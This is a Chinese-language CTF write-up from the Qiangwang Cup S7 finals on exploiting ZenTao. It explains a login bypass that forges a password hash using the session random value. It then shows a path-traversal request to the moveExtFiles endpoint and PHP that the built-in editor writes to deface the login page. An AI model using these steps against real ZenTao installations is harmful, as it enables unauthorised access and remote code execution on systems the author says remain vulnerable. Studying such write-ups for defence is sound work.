强网杯 s7 决赛 Zent WP
Drunkbaby Lv6

太菜了,最后还是差一点,发现题目前台和我们想象中的不一样,后台已经 RCE 了,但是前台没过,上台直接汗流浃背了

前台鉴权绕过

先来看一下题目给的 deploy

1
2
3
4
5
6
7
8
9
10
11
2. 题目仅做过如下改动

/opt/zbox/bin/mysql -u root -P 3306 -p123456 -e "drop database zentaoep;drop database zentaomax;"
/opt/zbox/bin/mysql -u root -P 3306 -p123456 -e "use zentao;update zt_user SET password='123abc' where account ='admin';"
rm -rf /opt/zbox/app/zentaoep && rm -rf /opt/zbox/app/zentaomax && rm -rf /opt/zbox/app/adminer && rm -rf /opt/zbox/bin/htpasswd

3.题目部署方法(展台采用同样方式部署)

docker load -i zentao.tar
docker run -dit --name=zentao -p 30021:80 ctf2:latest
docker exec -it zentao /opt/zbox/zbox restart

但是将环境起了之后,会发现用 admin/123abc 是没办法登录进去的

抓包之后的逻辑是在 /module/user 下的 control,login 方法,这里是 zentao 的路由处理。

跟进一下 identify() 函数,看一段代码就能看到最核心的鉴权部分了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public function identify($account, $password)
{
if(!$account or !$password) return false;
/* Check account rule in login. */
if(!validater::checkAccount($account)) return false;

/* Get the user first. If $password length is 32, don't add the password condition. */
$record = $this->dao->select('*')->from(TABLE_USER)
->where('account')->eq($account)
->beginIF(strlen($password) < 32)->andWhere('password')->eq(md5($password))->fi()
->andWhere('deleted')->eq(0)
->fetch();

/* If the length of $password is 32 or 40, checking by the auth hash. */
$user = false;

/* If the length of $password is 32 or 40, checking by the auth hash. */
$user = false;
if($record)
{
$passwordLength = strlen($password);
if($passwordLength < 32)
{
$user = $record;
}
elseif($passwordLength == 32)
{
$hash = $this->session->rand ? md5($record->password . $this->session->rand) : $record->password;
$user = $password == $hash ? $record : '';
}
elseif($passwordLength == 40)
{
$hash = sha1($record->account . $record->password . $record->last);
$user = $password == $hash ? $record : '';
}
if(!$user and md5($password) == $record->password) $user = $record;
}
}

很明显这里的判断是有问题的,按照正常的逻辑来说,密码应该是从数据库里面去取,去比对的,但是,当 ($passwordLength == 32) 时,是让一个 hash 和密码进行比对,把这部分代码提取出来,看一下

1
2
3
4
5
elseif($passwordLength == 32)
{
$hash = $this->session->rand ? md5($record->password . $this->session->rand) : $record->password;
$user = $password == $hash ? $record : '';
}

解读一下判断逻辑:

如果 session 里面存在 rand 字段,如果存在则把 password 与 rand 进行拼接,再 md5 一下,得到 hash。
如果 session 里面不存在 rand 字段,则直接把 passsword 的值赋给 hash。

随后比较 password 和 hash 是否相同。

$record->password 是我们已知的,为 123abc,目前其实只需要知道 rand 是什么,就可以伪造 hash 了,从而绕过鉴权

抓包看一下传参

1
account=admin&password=fe87780190a502d7eb5f743907918ee4&passwordStrength=0&referer=&verifyRand=1871116681&keepLogin=0&captcha=

其中有一个参数为 verifyRand,对应代码里面的变量是 $rand 看一下是怎么来的

很明显,对应的函数是 refreshRandom,所以前端发起请求只需要通过 user-refreshRandom.html 即可,这里再跟进 updateSessionRandom 函数

随机数,不多讲了,赋值。

太简单了,但凡比赛的时候看一点都能出。

进了之后会让我重新修改密码,重新修改密码这里也需要按照上面的步骤再来一遍,再提交密码

后台 RCE

有点骚,一开始一直在找 patch 和 diff,没想到最新版也有这个问题

最大的问题是有一个任意文件创建的漏洞,对应接口 upgrade-moveExtFiles-1.html

来看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function moveExtFiles()
{
$data = fixer::input('post')->get();
$customRoot = $this->app->appRoot . 'extension' . DS . 'custom';
$response = array('result' => 'success');

foreach($data->files as $file)
{
$dirRoot = $customRoot . DS . dirname($file);
$fileName = basename($file);
$fromPath = $this->app->getModuleRoot() . $file;
$toPath = $dirRoot . DS . $fileName;
if(!is_dir($dirRoot))
{
if(!mkdir($dirRoot, 0777, true))
{
$response['result'] = 'fail';
$response['command'] = 'chmod o=rwx -R '. $this->app->appRoot . 'extension/custom';

return $response;
}
}
copy($fromPath, $toPath);
$this->replaceIncludePath($toPath);
}

return $response;
}

里面存在“危险”的函数是 mkdir,其实本身这并不是一个危险函数,只是用在组合利用上面就成了危险函数。

漏洞利用也非常明确,值得一提的是本身的请求是 upgrade-moveExtFiles.html,由于需要传一个 version 参数,所以需要加上 -1

这一步有什么用呢?来看后台 -> 二次开发 -> 编辑器

当你要修改文件的时候会遇到这个问题

所以这里就可以写入 ok.txt 绕过

1
files[0]=../../../../../../../../../opt/zbox/app/zentao/www/data/ok.txt

随后就可以使用编辑器进行 shell 的写入了,首页的界面是 /zentao/editor-save-L29wdC96Ym94L2FwcC96ZW50YW8vbW9kdWxlL3VzZXIvdmlldy9sb2dpbi5odG1sLnBocA-edit.html,参数是 b64 过去的

直接在编辑器里面写黑页

1
2
3
<?php
system('echo "Hacked By Nepnep" > /opt/zbox/app/zentao/module/user/view/login.html.php')
?>

即可

小结

难受了,不过也学到了很多

 评论